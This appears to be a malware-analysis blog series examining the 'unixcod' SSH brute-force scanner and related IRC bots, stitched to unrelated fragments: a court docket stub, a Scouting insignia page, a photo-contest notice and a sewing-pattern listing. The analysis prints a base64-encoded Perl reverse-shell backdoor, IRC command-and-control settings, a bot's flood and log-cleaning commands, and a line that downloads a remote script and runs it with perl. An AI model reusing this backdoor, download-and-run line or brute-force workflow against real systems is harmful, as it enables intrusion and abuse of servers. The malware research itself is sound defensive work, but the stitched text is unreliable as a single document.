$dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
We have what looks to be the IRC C&C.
class pBot
var $config = array("server"=>"126.96.36.199",
"hostauth"=>"*" // * for any hostname (remember: /setvhost scanner.crew)
We also have a URL to check out.
exec('cd /tmp;curl -O '.$url.'mild2.txt;perl mild2.txt;rm -rf mild2.txt*;');
And it looks like we got another bot to look at in mild2.txt.
# What is New in V2.3 ? :
# + Improved Scanner
# + Improved Configuration
# + Nmap PortScan
# + LogCleaner
# + Mailer
#You can use the following commands :
#!bot @portscan
#!bot @nmap
#!bot @back
#!bot @udpflood
#!bot @tcpflood
#!bot @httpflood
#!bot @linuxhelp
#!bot @hajar
#!bot @system
#!bot @milw0rm
#!bot @logcleaner
#!bot @sendmail
#!bot @join
#!bot @part
#!bot @help
#!bot cd tmp for example
#!bot !eval
It also uses the same IRC server.
$servidor='184.108.40.206' unless $servidor;
my $porta='7000';
SSH Brute Force Scanner – Tools Used
I mentioned a few tools as I was looking at the unixcod scanner, but I thought it would be nice to place them all in one post.
One thing I did not mention about this, is that it is cross platform. Yes you can run it on Linux and OSX. Well at least the full version. The only thing to watch out for is that when you start working on a file it will start in graph view. You can change it easy but right clicking on it and selecting text. Graph view is handy but I prefer to spend most of my time in text view.
There is no point re-inventing the wheel. All of the tools I usually need when preforming analysis are included with REMnux. Most of the time I use it to emulate and capture network traffic samples could be making. Using the utilities farpd (fake arp), and fakedns you can have REMnux redirect any traffic being made to itself. It also comes with an IRC server and a pre-made fake web server that uses nc (netcat). Strings which I mentioned more then once is also on here, it should be included in most distro's and if it is not you should be able to install it. I would just recommend doing all of your sample work away from production machines. It just takes one slip up and you could be in trouble. With REMnux you can have it running as a VM and just revert the state.
SSH Brute Force Scanner – Part 6
Well after working with the scanner for a couple hours I cannot seem to entice any other behavior out of it other then collecting a list of IP's and associated logins. Also after more static analysis of it I cannot see anything that says it will do more then that.
I did do some looking around on the Internet to see what else comes up with 'unixcod', there was lots of talk but I found a couple links that are worth sharing.
First check out this thread about a hacked web server. Does that not look familiar?
unix]# ls -al
total 4352
drwxr-xr-x 2 apache apache 360 Jun 3 23:47 .
drwxrwxrwt 3 root root 60 Jun 3 00:24 ..
-rwxr-xr-x 1 apache apache 0 May 19 06:02 124.164.find.22
-rwxr-xr-x 1 apache apache 0 Mar 24 22:28 129.135.find.22
-rwxr-xr-x 1 apache apache 0 Mar 24 22:25 129.find.22
-rwxr-xr-x 1 apache apache 0 May 25 13:54 21.168.find.22
-rwxr-xr-x 1 apache apache 12687 May 25 06:16 60.191.find.22
-rw-r--r-- 1 apache apache 0 Jun 3 23:45 83.182.find.22
-rwxr-xr-x 1 apache apache 4631 Apr 21 17:50 84.2.find.22
-rwxr-xr-x 1 apache apache 0 May 25 06:17 89.38.find.22
-rwxr-xr-x 1 apache apache 2362 May 19 15:28 91.204.find.22
-rwxr-xr-x 1 apache apache 216 May 18 2005 auto
-rwxr-xr-x 1 apache apache 4374933 May 15 19:41 data.conf
-rwxr-xr-x 1 apache apache 15729 Oct 14 2005 find
-rw-r--r-- 1 apache apache 5262 Jun 3 23:45 log
-rwxr-xr-x 1 apache apache 751 May 25 06:33 unix
-rw-r--r-- 1 apache apache 0 Jun 3 23:04 vuln.txt
-rwxr-xr-x 1 apache apache 671 May 25 13:56 x
The only addition file is 'x' which seems to be a copy of 'unix' in this case.
The other link is a pastbin dump. It is a long one. Someone has uploaded a chat log of IRC sessions. What appears to be going on is a group is working on locating servers with root and what they mention as just smtp. They are using the compromised servers for spam of financial users. It sure seems like they are phising, but nothing that says it 100%. Also I am unsure of what the smtp is, but I think they are looking for mail servers that they can use for mass mailings. They are also using unixcod for collecting of these accounts, there is more then a few dumps of logins posted in that pastbin.
SSH Brute Force Scanner – Part 5
I have been doing some basic things with 'atack', one of the first things I do with samples is run 'strings' against it. I find this a great way to try and see what the binary is going to do before you start running it in your test environment. I have a few suspicions about it, one of them is I think it may have the ability to do file system operations like copy.
Another excellent tool you can use is IDA Pro Free. If you like IDA Pro Free the good news is you can but the retail version. The only feature that I think is work mentioning in the non-free version is it has the ability to transform your dump in to sudo-code. But other then that the free version will more then suffice for what we are doing.
The first place I go once I have a sample opened is the names window.
The good news is, my initial feeling that 'atack' had the ability to copy files seems to be correct.
Now we can check our stings again and see if we what we have mentioned that looks like a file path. There is a few that I think are worth following.
strings atack | egrep "/\S+\/" | less
SSH Brute Force Scanner – Part 4
I have made some progress with 'atack' just attacking my local analysis machine. I still have lots of work to do but I have figured out some more of what it is up to.
Currently I still do not know the purpose of adding the digits when executing, but I am sure I will figure that out once I start static analysis of the file. Changing the number does not seem to do much, but it could be due to my limited environment and data files that I have created for it.
On my analysis machine I have created two users, and in the data file I am using the interface IP address and the local loopback address as a second system entry.
/unixcod$ cat data.conf
test test
test1 test
/unixcod$ cat ip.conf
The test user does not have a home directory created, and test1 does. While examining the strings of 'atack' there was mention of home directories but I have not been able to see any difference between the two when I am testing.
If the attempts are successful 'atack' respond on the console.
UnixCoD own ->test:test:IPAddress
It will also create a file in the working directory called vuln.txt with a similar list of usernames and addresses.
cat vuln.txt
Currently it does not attempt to do anything with the compromised accounts, but these are also empty. I am wondering if it will go for any keys sitting in .ssh if they were to exist.
SSH Brute Force Scanner – Part 3
Next it seems like they started counting all of the lines in the 'ip.conf' that contained periods '.' and then stored them in '$oopsnr2', but then they do not call it again.
oopsnr2=`grep -c . ip.conf`
echo "[+] Incepe partea cea mai misto :D"
echo "[+] Doar $oopsnr2 de servere. Exista un inceput pt. toate !"
echo "[=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=]"
echo "[+] Incepem sa vedem cate server putem sparge"
They even make a reference to it in the comments. "Only $ oopsnr2 servers. There is a beginning for. all".
Now 'atack' is launched.
./atack 100
rm -rf $1.find.22 ip.conf
I am not entirly sure of what the significance of '100' is after the command it will take some further analysis of 'atack' to figure that part out.
But since we have the file in my sand box, I can at least poke at it. It also looks like we are going to have to recreate the 'ip.conf' file if we are going to get this to work. I created one with just 127.0.0.1, then we can watch the logs on the local system and see what happens.
Launching './atack 100' will just return the following;
[+] UnixCoD Atack 2005 ver 0x10 [ Made By : Ghost Kilah ]
Then it continues to operate in the background trying to login.
pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=localhost user=root
Failed password for root from 127.0.0.1 port 42106 ssh2
There is lots going on inside of 'atack' part 4 will be dealing with it.
SSH Brute Force Scanner – Part 2
The 'data.conf' file is a list of usernames and passwords to attempt. It contains 24,024 combinations.
root root
admin admin
test test
guest guest
webmaster webmaster
The included file 'find' appears to be a network scanner of some sort. I might come back to this but it is not really what I am looking for.
'test.txt' seems to be the output from running 'auto', but it looks like it was missing some flags. It is a 2.0M file with nothing but the following in it.
./assh 192.168.1.0 ; ./assh 192.168.1.0 ; ./assh 192.168.1.0 ;
'unix' appears to be what ties this all together now that we kinda know what each part is about.
if [ $# != 1 ]; then
echo "[+] Folosim : $0 [b class]"
echo "[+][+][+][+][+] UnixCoD Atack Scanner [+][+][+][+][+]"
echo "[+] SSH Brute force scanner : user & password [+]"
echo "[+] Undernet Channel : #UnixCoD [+]"
echo "[+][+][+][+][+][+][+] ver 0x10 [+][+][+][+][+][+][+]"
./find $1 22
sleep 10
cat $1.find.22 |sort |uniq > ip.conf
oopsnr2=`grep -c . ip.conf`
echo "[+] Incepe partea cea mai misto :D"
echo "[+] Doar $oopsnr2 de servere. Exista un inceput pt. toate !"
echo "[=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=]"
echo "[+] Incepem sa vedem cate server putem sparge"
./atack 100
rm -rf $1.find.22 ip.conf
echo "[+] UnixCoD Scanner a terminat de scanat !"
Since they were not nice enough to put English comments in, we have to use Google translate to tell what it says. But I think we can figure it out from here.
The 'if' statement at the start is looking to make sure an option was provided on the command line.
if [ $# != 1 ]; then
I am pretty sure it is looking for a network range, the next command is executing 'find' and providing it with what was given on the command line '$1' and a port. It's port 22, no surprise here if they are looking for ssh servers.
./find $1 22
Next it creates a file called 'ip.conf' that contains a unique list of all of the hosts that 'find' located.
cat $1.find.22 |sort |uniq > ip.conf
SSH Brute Force Scanner – Part 1
I was looking around and found an article about an SSH Brute Force Scanner someone had gotten a hold of but they could not get it working.
You can read it here.
When you unpack the tarball this is what you are going to get.
/unixcod# ls
atack auto data.conf find ip.conf test.txt unix
Looking quickly at the files 'atack' appears to be what is doing all of the work here. The others are either data files or wrappers to execute 'atack'.
The file 'auto' is just a loop to try a range address against './assh', which is not included with this bundle. It could be that it is simply a renamed version of 'atack', but they don't use the same options.
echo "Enter A class range"
read brange
echo "Enter output file"
read file
while [ $crange -lt 255 ] ; do
echo -n "./assh $brange.$crange ; " >> $file
let crange=crange+1
When auto is ran, it will ask for a range, what it is looking for is something like 192.168.0 but not the last octet. You can see that is taken care of by the variable '$crange' in the while loop. Every loop through will increase '$crange' until 255. This is simple script and not really useful if you want to scan more then a class A network.
New VirusTotal Functionality
Virus total now allows you to send pcap ( Packet captures ) files directly to them.
Here is one of the examples of what you can send that they provided.
VirusTotal is an excellent tool, and this provides a handy place to send your traffic that you have captured from your network or sandbox for quick analysis.
Just a quick word of caution on sending samples and now pcap files to sites like virus total. While it is handy to have the searchable analysis, remember that anyone can search those results. If you happen to be part of a targeted attack you could be tipping your hand to the attacker. They can be searching sites like this for IP's and hashes involved in their attack. Once the attacker knows that they have been discovered they could do anything including damaging systems in an effort to cover up.


text:
Shelby County Health Care Corporation v. Boar's Head Provisions Company, Inc.
2:05-cv-02238 | Tennessee Western District Court
Interested in this case?With Docket Alarm you can:
- Get up-to-date information for this case.
- Download all documents.
- Docket alerts when there are new filings.
- Search for other cases.
|Filing Date
|Docket Text


text:
Old Colony Council (249)
East Walpole, MA
The Internet Guide to Order of the Arrow Insignia is published and maintained by John Pannell, jpannell "at" oaimages.com, © 1997 - 2014. This site is the result of many thousands of hours' work by many generous persons. The images here are free for others' non-profit use. Use of these images for profit without express written permission is expressly and strictly forbidden. Please note that eBay policy expressly forbids the use of another eBay user's images without permission.
Much assistance for this site has been given by members of the American Scouting Historical Society and the International Scouting Collectors Association for which I am grateful. The identification and cataloging of all issues pictured in this guide are correct to the best of my knowledge. No further warranties of the accuracy of this information are made or implied.


text: Tuesday, August 07, 2012 Last Call: Photo Contest Deadline Approaches APTA members have until August 15 to submit their entries for this year's photo contest. Winners will be selected by a distinguished panel of judges. Winning entries will be displayed at APTA headquarters, may appear in APTA's online or print publications, and on the APTA.org or MoveForwardPT.com websites. The first-place winner will receive $500. The second and third place winners will receive $250 each. No cash prizes will be awarded for honorable mentions. Winners will be announced in a future issue of PT in Motion. Visit the 2012 Photo Contest webpage for descriptions of winning entries and to download the consent, release, and entry forms.


text:
96 's
McCall's 5369 Stuffed Animal Vintage Sewing Pattern
Check out now. Fast, Easy, Secure Checkout.
Color: Grey
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